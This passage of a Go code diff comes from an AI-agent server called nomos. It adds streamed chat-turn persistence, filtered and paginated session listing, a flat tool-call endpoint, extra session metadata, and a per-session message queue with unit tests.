case <-t.C:
|
||||||
break
|
writeMu.Lock()
|
||||||
}
|
fmt.Fprintf(w, ":keepalive\n\n")
|
||||||
}
|
flusher.Flush()
|
||||||
} else {
|
writeMu.Unlock()
|
||||||
toolCalls = append(toolCalls, m)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
persist() // live: survives even if the client disconnects right after
|
|
||||||
}
|
|
||||||
if ev.Type == "text" {
|
|
||||||
// P3: accumulate. Each `text` event is one iteration's reasoning
|
|
||||||
// (or the final answer). Join with newlines so the persisted row
|
|
||||||
// reads as the full transcript of what the agent said, not just
|
|
||||||
// the last thing.
|
|
||||||
if t, ok := ev.Data.(string); ok && t != "" {
|
|
||||||
textParts = append(textParts, t)
|
|
||||||
finalText = strings.Join(textParts, "\n\n")
|
|
||||||
persist()
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
sseEvent(w, flusher, ev)
|
}()
|
||||||
|
// Defer the close (not a statement after runChatTurn) so the goroutine
|
||||||
|
// exits even if runChatTurn panics — net/http recovers handler panics, so
|
||||||
|
// a non-deferred close would be skipped and the ticker would keep writing
|
||||||
|
// to a dead ResponseWriter forever.
|
||||||
|
defer close(keepDone)
|
||||||
|
a.runChatTurn(pctx, ctx, sessionID, req.Message, func(ev agentEvent) {
|
||||||
|
writeEvent(ev)
|
||||||
})
|
})
|
||||||
|
|
||||||
// B.6: if the turn ended with no text and no tool calls (the model
|
|
||||||
// empty-response'd and all retries failed), delete the placeholder row
|
|
||||||
// instead of persisting an empty bubble. The error event was already
|
|
||||||
// streamed to the frontend via the 'done with error=true' event, so the
|
|
||||||
// operator sees the error inline — an empty assistant bubble in the
|
|
||||||
// transcript adds nothing and looks like the agent is broken.
|
|
||||||
if finalText == "" && len(toolCalls) == 0 && msgID != uuid.Nil {
|
|
||||||
st.deleteMessage(pctx, msgID)
|
|
||||||
} else {
|
|
||||||
persist() // final state — same row, updated one last time with the concluding text
|
|
||||||
}
|
|
||||||
|
|
||||||
// Generate a meaningful title from the assistant's first answer
|
|
||||||
// instead of reusing the raw user message for every session.
|
|
||||||
if finalText != "" && sessionID != "ephemeral" {
|
|
||||||
title := truncate(finalText, 80)
|
|
||||||
if title != "" {
|
|
||||||
st.updateSessionTitle(pctx, sessionID, title)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
||||||
@@ -371,13 +502,56 @@ func handleSessionsList(w http.ResponseWriter, r *http.Request, st *store) {
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
sessions, err := st.listSessions(r.Context())
|
// P2.8 (2026-07-20): filtering + pagination. The audit script in
|
||||||
|
// .agents/skills/session-review/SKILL.md slices `.sessions[:10]`
|
||||||
|
// client-side; "show me partial sessions touching lxc:rclone"
|
||||||
|
// required fetching the full list and filtering in JS. Push the
|
||||||
|
// filters into SQL so the audit becomes a single `curl | jq`.
|
||||||
|
// Supported query params (all optional, composable):
|
||||||
|
// ?outcome=partial|success|failure — exact match on outcome
|
||||||
|
// ?status=active|done|failed|executing — exact match on status
|
||||||
|
// ?entity_id=<uuid> — exact match on entity_id
|
||||||
|
// ?since=<RFC3339 or duration> — last_active_at >= ...
|
||||||
|
// ?blocker=<reason> — exact match on blocker
|
||||||
|
// ?limit=<int> — default 50, max 200
|
||||||
|
// ?cursor=<iso timestamp> — last_active_at < cursor (page back)
|
||||||
|
q := r.URL.Query()
|
||||||
|
limit := 50
|
||||||
|
if v := q.Get("limit"); v != "" {
|
||||||
|
if n, err := strconv.Atoi(v); err == nil && n > 0 && n <= 200 {
|
||||||
|
limit = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
sessions, err := st.listSessionsFiltered(r.Context(), listFilter{
|
||||||
|
Outcome: q.Get("outcome"),
|
||||||
|
Status: q.Get("status"),
|
||||||
|
EntityID: q.Get("entity_id"),
|
||||||
|
Blocker: q.Get("blocker"),
|
||||||
|
Since: q.Get("since"),
|
||||||
|
Cursor: q.Get("cursor"),
|
||||||
|
Limit: limit,
|
||||||
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
http.Error(w, err.Error(), 500)
|
http.Error(w, err.Error(), 500)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
// Next-page cursor: the oldest last_active_at in this page. The next
|
||||||
|
// request passes it as ?cursor=... to get the page before it. Empty
|
||||||
|
// when the list is exhausted.
|
||||||
|
var nextCursor string
|
||||||
|
if len(sessions) > 0 {
|
||||||
|
oldest := sessions[len(sessions)-1].LastActiveAt
|
||||||
|
nextCursor = oldest.UTC().Format(time.RFC3339Nano)
|
||||||
|
if len(sessions) < limit {
|
||||||
|
nextCursor = "" // last page
|
||||||
|
}
|
||||||
|
}
|
||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(map[string]any{"sessions": sessions})
|
json.NewEncoder(w).Encode(map[string]any{
|
||||||
|
"sessions": sessions,
|
||||||
|
"next_cursor": nextCursor,
|
||||||
|
"limit": limit,
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *agent) {
|
||||||
@@ -417,10 +591,16 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
|||||||
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
// GET /sessions/{id}/plan and /sessions/{id}/questions — REST hydration for
|
||||||
// the context panel when it first opens a task; live events carry deltas
|
// the context panel when it first opens a task; live events carry deltas
|
||||||
// from there.
|
// from there.
|
||||||
|
// GET /sessions/{id}/tool_calls — flat view of every tool call in the
|
||||||
|
// session, without the two-level message-shell nesting. The audit at
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P2.10 had to write
|
||||||
|
// Python to walk messages[].content.tool_calls[]; this endpoint makes
|
||||||
|
// it a single `curl | jq`.
|
||||||
if len(parts) == 2 && r.Method == http.MethodGet {
|
if len(parts) == 2 && r.Method == http.MethodGet {
|
||||||
switch parts[1] {
|
switch parts[1] {
|
||||||
case "plan":
|
case "plan":
|
||||||
steps, err := st.getPlanSteps(r.Context(), id)
|
all := r.URL.Query().Has("all") && r.URL.Query().Get("all") != "0" && r.URL.Query().Get("all") != "false"
|
||||||
|
steps, err := st.getPlanSteps(r.Context(), id, all)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
http.Error(w, err.Error(), 500)
|
http.Error(w, err.Error(), 500)
|
||||||
return
|
return
|
||||||
@@ -437,6 +617,15 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
|||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
json.NewEncoder(w).Encode(map[string]any{"questions": questions})
|
||||||
return
|
return
|
||||||
|
case "tool_calls":
|
||||||
|
calls, err := st.getSessionToolCalls(r.Context(), id)
|
||||||
|
if err != nil {
|
||||||
|
http.Error(w, err.Error(), 500)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
w.Header().Set("Content-Type", "application/json")
|
||||||
|
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "tool_calls": calls})
|
||||||
|
return
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -449,14 +638,18 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
|||||||
w.WriteHeader(204)
|
w.WriteHeader(204)
|
||||||
|
|
||||||
case http.MethodGet:
|
case http.MethodGet:
|
||||||
// getMessages alone can't distinguish "session exists but has no
|
// P2.7 (2026-07-20): return BOTH session metadata and messages
|
||||||
// messages yet" from "session id doesn't exist at all" — it's a
|
// from GET /sessions/{id}. Previously this endpoint returned only
|
||||||
// plain WHERE session_id=$1 query that returns zero rows either
|
// {session_id, messages} — the operator had to merge with the
|
||||||
// way. A frontend window opened for a deleted/invalid session
|
// /sessions list view to get title/goal/outcome. The eval harness
|
||||||
// (persisted layout, a stale link) needs to tell those apart, so
|
// at cmd/nomos/eval/main.go:302-303 already carries a comment
|
||||||
// check existence explicitly and 404 rather than silently
|
// about this leaky abstraction. The session field carries the
|
||||||
// returning an empty transcript that looks like a fresh task.
|
// full metadata: title, goal, outcome, summary, blocker,
|
||||||
if _, err := st.getSession(r.Context(), id); err != nil {
|
// pending_approvals, message_count, tool_call_count, etc. The
|
||||||
|
// messages field is unchanged. Clients that only read
|
||||||
|
// `messages` keep working.
|
||||||
|
sess, err := st.getSession(r.Context(), id)
|
||||||
|
if err != nil {
|
||||||
if err == pgx.ErrNoRows {
|
if err == pgx.ErrNoRows {
|
||||||
http.Error(w, "session not found", 404)
|
http.Error(w, "session not found", 404)
|
||||||
return
|
return
|
||||||
@@ -470,7 +663,11 @@ func handleSessionDetail(w http.ResponseWriter, r *http.Request, st *store, a *a
|
|||||||
return
|
return
|
||||||
}
|
}
|
||||||
w.Header().Set("Content-Type", "application/json")
|
w.Header().Set("Content-Type", "application/json")
|
||||||
json.NewEncoder(w).Encode(map[string]any{"session_id": id, "messages": messages})
|
json.NewEncoder(w).Encode(map[string]any{
|
||||||
|
"session_id": id,
|
||||||
|
"session": sess,
|
||||||
|
"messages": messages,
|
||||||
|
})
|
||||||
|
|
||||||
default:
|
default:
|
||||||
http.Error(w, "method not allowed", 405)
|
http.Error(w, "method not allowed", 405)
|
||||||
@@ -621,7 +818,7 @@ func newMCPClient(baseURL, token string) (*mcpClient, error) {
|
|||||||
c := &mcpClient{
|
c := &mcpClient{
|
||||||
baseURL: baseURL,
|
baseURL: baseURL,
|
||||||
token: token,
|
token: token,
|
||||||
http: &http.Client{Timeout: 30 * time.Second},
|
http: &http.Client{Timeout: 120 * time.Second},
|
||||||
}
|
}
|
||||||
|
|
||||||
resp, err := c.doRequest("initialize", map[string]any{
|
resp, err := c.doRequest("initialize", map[string]any{
|
||||||
|
|||||||
82
cmd/nomos/messagequeue.go
Normal file
82
cmd/nomos/messagequeue.go
Normal file
@@ -0,0 +1,82 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"log/slog"
|
||||||
|
"sync"
|
||||||
|
)
|
||||||
|
|
||||||
|
// maxQueuedPerSession caps a session's queue. A held turn plus unbounded
|
||||||
|
// enqueues would grow memory without limit; an operator nudging a long
|
||||||
|
// autonomous turn realistically queues only a handful, so a generous cap is
|
||||||
|
// pure insurance. Overflow drops the newest enqueue and logs (the message is
|
||||||
|
// already persisted in the DB by handleChat before enqueue, so it isn't lost
|
||||||
|
// from the transcript — it just won't auto-run).
|
||||||
|
const maxQueuedPerSession = 20
|
||||||
|
|
||||||
|
// messageQueue holds operator messages that arrived while a turn was already
|
||||||
|
// running for a session. Plan 2026-08-03 (F2): instead of rejecting the
|
||||||
|
// operator's message with "Nomos is still finishing a previous step… send it
|
||||||
|
// again", the message is queued and auto-run when the in-flight turn releases
|
||||||
|
// the session's turn-gate permit.
|
||||||
|
//
|
||||||
|
// The queue only schedules WHEN a turn runs, not WHETHER the message is stored
|
||||||
|
// — handleChat persists the user message before acquiring the gate, so a queued
|
||||||
|
// message is already in the transcript; this just makes sure a turn eventually
|
||||||
|
// acts on it.
|
||||||
|
//
|
||||||
|
// Draining is strictly one-at-a-time under the turn gate (see drainQueued in
|
||||||
|
// main.go), so this cannot stack concurrent turns — the exact hazard the gate
|
||||||
|
// itself exists to prevent. Background resumeSession callers never touch this
|
||||||
|
// queue; they keep their non-blocking skip.
|
||||||
|
type messageQueue struct {
|
||||||
|
mu sync.Mutex
|
||||||
|
queue map[string][]string
|
||||||
|
}
|
||||||
|
|
||||||
|
func newMessageQueue() *messageQueue {
|
||||||
|
return &messageQueue{queue: map[string][]string{}}
|
||||||
|
}
|
||||||
|
|
||||||
|
// enqueue appends a message to the back of the session's FIFO. Returns false
|
||||||
|
// (and logs) if the session is already at maxQueuedPerSession — the caller's
|
||||||
|
// message is already persisted in the DB, so this only skips auto-running it.
|
||||||
|
func (q *messageQueue) enqueue(sessionID, msg string) bool {
|
||||||
|
q.mu.Lock()
|
||||||
|
defer q.mu.Unlock()
|
||||||
|
if len(q.queue[sessionID]) >= maxQueuedPerSession {
|
||||||
|
slog.Warn("nomos: message queue full; dropping auto-run for operator message", "session", sessionID, "cap", maxQueuedPerSession)
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
q.queue[sessionID] = append(q.queue[sessionID], msg)
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
// dequeue pops the next message from the front of the session's FIFO. Returns
|
||||||
|
// ok=false when empty.
|
||||||
|
func (q *messageQueue) dequeue(sessionID string) (string, bool) {
|
||||||
|
q.mu.Lock()
|
||||||
|
defer q.mu.Unlock()
|
||||||
|
xs := q.queue[sessionID]
|
||||||
|
if len(xs) == 0 {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
m := xs[0]
|
||||||
|
q.queue[sessionID] = xs[1:]
|
||||||
|
return m, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// requeueFront pushes a message back to the front — used when a drainer popped
|
||||||
|
// a message but lost the race for the gate to a live turn; that turn's own
|
||||||
|
// release will drain it again.
|
||||||
|
func (q *messageQueue) requeueFront(sessionID, msg string) {
|
||||||
|
q.mu.Lock()
|
||||||
|
defer q.mu.Unlock()
|
||||||
|
q.queue[sessionID] = append([]string{msg}, q.queue[sessionID]...)
|
||||||
|
}
|
||||||
|
|
||||||
|
// peek reports the queued depth for a session (test/diagnostic helper).
|
||||||
|
func (q *messageQueue) peek(sessionID string) int {
|
||||||
|
q.mu.Lock()
|
||||||
|
defer q.mu.Unlock()
|
||||||
|
return len(q.queue[sessionID])
|
||||||
|
}
|
||||||
142
cmd/nomos/messagequeue_test.go
Normal file
142
cmd/nomos/messagequeue_test.go
Normal file
@@ -0,0 +1,142 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestMessageQueue_FIFO(t *testing.T) {
|
||||||
|
q := newMessageQueue()
|
||||||
|
q.enqueue("s", "first")
|
||||||
|
q.enqueue("s", "second")
|
||||||
|
q.enqueue("s", "third")
|
||||||
|
|
||||||
|
want := []string{"first", "second", "third"}
|
||||||
|
for _, w := range want {
|
||||||
|
got, ok := q.dequeue("s")
|
||||||
|
if !ok || got != w {
|
||||||
|
t.Fatalf("dequeue = %q,%v want %q,true", got, ok, w)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if _, ok := q.dequeue("s"); ok {
|
||||||
|
t.Fatal("dequeue on drained queue should return ok=false")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMessageQueue_RequeueFront(t *testing.T) {
|
||||||
|
q := newMessageQueue()
|
||||||
|
q.enqueue("s", "a")
|
||||||
|
q.enqueue("s", "b")
|
||||||
|
// Pop "a", then push it back to the front; "a" must come out before "b".
|
||||||
|
a, _ := q.dequeue("s")
|
||||||
|
q.requeueFront("s", a)
|
||||||
|
got, _ := q.dequeue("s")
|
||||||
|
if got != "a" {
|
||||||
|
t.Fatalf("after requeueFront, dequeue = %q want %q", got, "a")
|
||||||
|
}
|
||||||
|
got2, _ := q.dequeue("s")
|
||||||
|
if got2 != "b" {
|
||||||
|
t.Fatalf("next dequeue = %q want %q", got2, "b")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMessageQueue_IsolatedPerSession(t *testing.T) {
|
||||||
|
q := newMessageQueue()
|
||||||
|
q.enqueue("s1", "one")
|
||||||
|
q.enqueue("s2", "two")
|
||||||
|
if got, _ := q.dequeue("s1"); got != "one" {
|
||||||
|
t.Fatalf("s1 = %q want one", got)
|
||||||
|
}
|
||||||
|
if got, _ := q.dequeue("s2"); got != "two" {
|
||||||
|
t.Fatalf("s2 = %q want two", got)
|
||||||
|
}
|
||||||
|
if q.peek("s1") != 0 || q.peek("s2") != 0 {
|
||||||
|
t.Fatal("both sessions should be drained")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMessageQueue_Concurrent(t *testing.T) {
|
||||||
|
q := newMessageQueue()
|
||||||
|
const n = maxQueuedPerSession // stay under the cap so every enqueue lands
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
for i := 0; i < n; i++ {
|
||||||
|
wg.Add(1)
|
||||||
|
go func(i int) {
|
||||||
|
defer wg.Done()
|
||||||
|
q.enqueue("s", "m")
|
||||||
|
}(i)
|
||||||
|
}
|
||||||
|
wg.Wait()
|
||||||
|
if q.peek("s") != n {
|
||||||
|
t.Fatalf("peek = %d want %d (all enqueues must be counted)", q.peek("s"), n)
|
||||||
|
}
|
||||||
|
seen := 0
|
||||||
|
for {
|
||||||
|
if _, ok := q.dequeue("s"); !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
seen++
|
||||||
|
}
|
||||||
|
if seen != n {
|
||||||
|
t.Fatalf("drained %d want %d", seen, n)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMessageQueue_CapsOverflow(t *testing.T) {
|
||||||
|
q := newMessageQueue()
|
||||||
|
for i := 0; i < maxQueuedPerSession; i++ {
|
||||||
|
if !q.enqueue("s", "m") {
|
||||||
|
t.Fatalf("enqueue #%d within cap should succeed", i)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if q.enqueue("s", "overflow") {
|
||||||
|
t.Fatal("enqueue past the cap should return false (dropped)")
|
||||||
|
}
|
||||||
|
if got := q.peek("s"); got != maxQueuedPerSession {
|
||||||
|
t.Fatalf("peek = %d want %d (overflow must not append)", got, maxQueuedPerSession)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// drainQueued on an empty queue must be a no-op: it returns immediately and
|
||||||
|
// never touches the gate (so the session stays free for the next turn).
|
||||||
|
func TestDrainQueued_NoOpOnEmpty(t *testing.T) {
|
||||||
|
a := &agent{gate: newTurnGate(), queue: newMessageQueue()}
|
||||||
|
a.drainQueued(context.Background(), "s")
|
||||||
|
if !a.gate.acquire("s", 0) {
|
||||||
|
t.Fatal("gate should be free after a no-op drain (drain must not hold it)")
|
||||||
|
}
|
||||||
|
a.gate.release("s")
|
||||||
|
}
|
||||||
|
|
||||||
|
// With a queued message but the gate held by another turn, drainQueued must
|
||||||
|
// re-queue the message and return WITHOUT running a turn (no store/provider → a
|
||||||
|
// real run would panic). This is the "never stack" property: a busy gate
|
||||||
|
// defers to the holder's own release-drain.
|
||||||
|
func TestDrainQueued_RequeuesWhenBusy(t *testing.T) {
|
||||||
|
prev := drainAcquireWait
|
||||||
|
drainAcquireWait = 10 * time.Millisecond
|
||||||
|
t.Cleanup(func() { drainAcquireWait = prev })
|
||||||
|
|
||||||
|
a := &agent{gate: newTurnGate(), queue: newMessageQueue()}
|
||||||
|
if !a.gate.acquire("s", 0) {
|
||||||
|
t.Fatal("precondition: hold the gate")
|
||||||
|
}
|
||||||
|
a.queue.enqueue("s", "queued-msg")
|
||||||
|
|
||||||
|
done := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
a.drainQueued(context.Background(), "s") // must not panic; must requeue
|
||||||
|
close(done)
|
||||||
|
}()
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
case <-time.After(time.Second):
|
||||||
|
t.Fatal("drainQueued did not return promptly while the gate was busy")
|
||||||
|
}
|
||||||
|
if got := a.queue.peek("s"); got != 1 {
|
||||||
|
t.Fatalf("message should be re-queued while busy; peek = %d want 1", got)
|
||||||
|
}
|
||||||
|
a.gate.release("s")
|
||||||
|
}
|
||||||
@@ -13,6 +13,7 @@ import (
|
|||||||
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
"github.com/dtoro/oikos/internal/db/sqlcgen"
|
||||||
"github.com/dtoro/oikos/internal/observability"
|
"github.com/dtoro/oikos/internal/observability"
|
||||||
"github.com/google/uuid"
|
"github.com/google/uuid"
|
||||||
|
"github.com/jackc/pgx/v5"
|
||||||
"github.com/jackc/pgx/v5/pgxpool"
|
"github.com/jackc/pgx/v5/pgxpool"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -25,6 +26,13 @@ const maxToolResultSize = 4096
|
|||||||
// The caller translates this into a directive tool result.
|
// The caller translates this into a directive tool result.
|
||||||
var errPlanInFlight = errors.New("plan already in flight")
|
var errPlanInFlight = errors.New("plan already in flight")
|
||||||
|
|
||||||
|
// errPlanStepNotFound is returned by updatePlanStep when no step matches the
|
||||||
|
// given seq in the CURRENT (MAX) generation — either the seq is out of range,
|
||||||
|
// or (after a re-plan) the model addressed a stale 1-based number. seq is
|
||||||
|
// generation-relative, so this never resurrects a superseded generation's row.
|
||||||
|
// The caller translates it into a directive tool result (P0.1).
|
||||||
|
var errPlanStepNotFound = errors.New("plan step not found in current generation")
|
||||||
|
|
||||||
type store struct {
|
type store struct {
|
||||||
pool *pgxpool.Pool
|
pool *pgxpool.Pool
|
||||||
}
|
}
|
||||||
@@ -86,18 +94,39 @@ func (s *store) close() {
|
|||||||
// session is a chat session elevated to a task: goal-structured work with a
|
// session is a chat session elevated to a task: goal-structured work with a
|
||||||
// lifecycle status and an outcome (see migration 018 / the task-board plan).
|
// lifecycle status and an outcome (see migration 018 / the task-board plan).
|
||||||
// Outcome/Summary/EntityID are empty until set, hence omitempty.
|
// Outcome/Summary/EntityID are empty until set, hence omitempty.
|
||||||
|
//
|
||||||
|
// P1.5 (2026-07-20): Blocker and ClosedAt track WHY a session ended
|
||||||
|
// partial/failed and WHEN it actually closed. ClosedAt is distinct from
|
||||||
|
// LastActiveAt — the latter is touched on any access (including a UI
|
||||||
|
// transcript view), the former is set ONCE at completion. Without it,
|
||||||
|
// "duration" computed as last_active - created lies for reopened sessions
|
||||||
|
// (a51e2086 reported 4-day duration because the operator reopened it).
|
||||||
|
// Blocker is a short structured reason: approval_timeout,
|
||||||
|
// classifier_overreach, user_abandoned, tool_error, etc. See
|
||||||
|
// plans/2026-07-20-session-review-ten-sessions.md P1.5.
|
||||||
type session struct {
|
type session struct {
|
||||||
ID string `json:"id"`
|
ID string `json:"id"`
|
||||||
Title string `json:"title"`
|
Title string `json:"title"`
|
||||||
Actor string `json:"actor"`
|
Actor string `json:"actor"`
|
||||||
Goal string `json:"goal"`
|
Goal string `json:"goal"`
|
||||||
Status string `json:"status"`
|
Status string `json:"status"`
|
||||||
Outcome string `json:"outcome,omitempty"`
|
Outcome string `json:"outcome,omitempty"`
|
||||||
Summary string `json:"summary,omitempty"`
|
Summary string `json:"summary,omitempty"`
|
||||||
EntityID string `json:"entity_id,omitempty"`
|
EntityID string `json:"entity_id,omitempty"`
|
||||||
PendingApprovals int `json:"pending_approvals"`
|
PendingApprovals int `json:"pending_approvals"`
|
||||||
CreatedAt time.Time `json:"created_at"`
|
Blocker string `json:"blocker,omitempty"`
|
||||||
LastActiveAt time.Time `json:"last_active_at"`
|
CreatedAt time.Time `json:"created_at"`
|
||||||
|
LastActiveAt time.Time `json:"last_active_at"`
|
||||||
|
ClosedAt *time.Time `json:"closed_at,omitempty"`
|
||||||
|
// P2.6 (2026-07-20): server-side aggregates so /sessions can answer
|
||||||
|
// "how big was this task?" without N+1 transcript fetches. The audit
|
||||||
|
// had to pull every session's full message tree to count tool calls —
|
||||||
|
// ~600 KB of JSON for 10 sessions. With these, the list view is a
|
||||||
|
// single round trip. omitempty so getSession for a brand-new session
|
||||||
|
// with zero activity doesn't emit zeros.
|
||||||
|
MessageCount int `json:"message_count,omitempty"`
|
||||||
|
ToolCallCount int `json:"tool_call_count,omitempty"`
|
||||||
|
DurationSeconds int `json:"duration_seconds,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type message struct {
|
type message struct {
|
||||||
@@ -315,14 +344,98 @@ func (s *store) touchSession(ctx context.Context, id string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
||||||
|
return s.listSessionsFiltered(ctx, listFilter{Limit: 50})
|
||||||
|
}
|
||||||
|
|
||||||
|
// listFilter carries the optional WHERE/ORDER clauses added by P2.8
|
||||||
|
// (filtering & pagination). All fields optional; empty values are no-ops.
|
||||||
|
// The handler in main.go parses query params into this struct so the SQL
|
||||||
|
// builder here is the single source of truth for what filters exist.
|
||||||
|
type listFilter struct {
|
||||||
|
Outcome string // exact match on outcome (success/partial/failure)
|
||||||
|
Status string // exact match on status (active/done/failed/executing)
|
||||||
|
EntityID string // exact match on entity_id (UUID)
|
||||||
|
Blocker string // exact match on blocker reason
|
||||||
|
Since string // last_active_at >= this; RFC3339 timestamp OR Go duration (e.g. "24h")
|
||||||
|
Cursor string // last_active_at < cursor (RFC3339) — page back in time
|
||||||
|
Limit int // default 50, clamped by the handler
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *store) listSessionsFiltered(ctx context.Context, f listFilter) ([]session, error) {
|
||||||
if s == nil {
|
if s == nil {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
rows, err := s.pool.Query(ctx,
|
if f.Limit <= 0 {
|
||||||
`SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
f.Limit = 50
|
||||||
COALESCE(s.entity_id::text, ''),
|
}
|
||||||
COALESCE(pa.cnt, 0),
|
// Build the WHERE clause dynamically. We use a single args slice with
|
||||||
s.created_at, s.last_active_at
|
// $N placeholders to keep pgx happy; the index increments per clause.
|
||||||
|
var (
|
||||||
|
where []string
|
||||||
|
args []any
|
||||||
|
n = 1
|
||||||
|
)
|
||||||
|
if f.Outcome != "" {
|
||||||
|
where = append(where, fmt.Sprintf("COALESCE(s.outcome, '') = $%d", n))
|
||||||
|
args = append(args, f.Outcome)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
if f.Status != "" {
|
||||||
|
where = append(where, fmt.Sprintf("s.status = $%d", n))
|
||||||
|
args = append(args, f.Status)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
if f.EntityID != "" {
|
||||||
|
// Accept UUID or string; cast gracefully if invalid.
|
||||||
|
if _, err := uuid.Parse(f.EntityID); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.entity_id = $%d::uuid", n))
|
||||||
|
args = append(args, f.EntityID)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if f.Blocker != "" {
|
||||||
|
where = append(where, fmt.Sprintf("COALESCE(s.blocker, '') = $%d", n))
|
||||||
|
args = append(args, f.Blocker)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
if f.Since != "" {
|
||||||
|
// Accept RFC3339 timestamp OR a Go-style duration like "24h", "7d".
|
||||||
|
// Try timestamp first, fall back to duration relative to now.
|
||||||
|
if t, err := time.Parse(time.RFC3339, f.Since); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.last_active_at >= $%d", n))
|
||||||
|
args = append(args, t)
|
||||||
|
n++
|
||||||
|
} else if d, err := time.ParseDuration(f.Since); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.last_active_at >= now() - ($%d * interval '1 second')", n))
|
||||||
|
args = append(args, d.Seconds())
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
// Unknown format: silently drop the filter — better than erroring
|
||||||
|
// out and breaking the whole list. Caller can validate if needed.
|
||||||
|
}
|
||||||
|
if f.Cursor != "" {
|
||||||
|
if t, err := time.Parse(time.RFC3339, f.Cursor); err == nil {
|
||||||
|
where = append(where, fmt.Sprintf("s.last_active_at < $%d", n))
|
||||||
|
args = append(args, t)
|
||||||
|
n++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
whereClause := ""
|
||||||
|
if len(where) > 0 {
|
||||||
|
whereClause = "WHERE " + strings.Join(where, " AND ")
|
||||||
|
}
|
||||||
|
args = append(args, f.Limit)
|
||||||
|
limitArg := fmt.Sprintf("$%d", n)
|
||||||
|
|
||||||
|
query := fmt.Sprintf(`
|
||||||
|
SELECT s.id, s.title, s.actor, s.goal, s.status, COALESCE(s.outcome, ''), s.summary,
|
||||||
|
COALESCE(s.entity_id::text, ''),
|
||||||
|
COALESCE(pa.cnt, 0),
|
||||||
|
COALESCE(s.blocker, ''),
|
||||||
|
s.created_at, s.last_active_at, s.closed_at,
|
||||||
|
COALESCE(msg.cnt, 0),
|
||||||
|
COALESCE(act.cnt, 0),
|
||||||
|
COALESCE(EXTRACT(EPOCH FROM (COALESCE(s.closed_at, s.last_active_at) - s.created_at))::bigint, 0)
|
||||||
FROM agent_sessions s
|
FROM agent_sessions s
|
||||||
LEFT JOIN (
|
LEFT JOIN (
|
||||||
SELECT l.session_id, COUNT(*) AS cnt
|
SELECT l.session_id, COUNT(*) AS cnt
|
||||||
@@ -331,7 +444,22 @@ func (s *store) listSessions(ctx context.Context) ([]session, error) {
|
|||||||
WHERE e.status = 'pending_approval'
|
WHERE e.status = 'pending_approval'
|
||||||
GROUP BY l.session_id
|
GROUP BY l.session_id
|
||||||
) pa ON pa.session_id = s.id
|
) pa ON pa.session_id = s.id
|
||||||
ORDER BY s.last_active_at DESC LIMIT 50`)
|
LEFT JOIN (
|
||||||
|
SELECT session_id, COUNT(*) AS cnt
|
||||||
|
FROM agent_messages
|
||||||
|
GROUP BY session_id
|
||||||
|
) msg ON msg.session_id = s.id
|
||||||
|
LEFT JOIN (
|
||||||
|
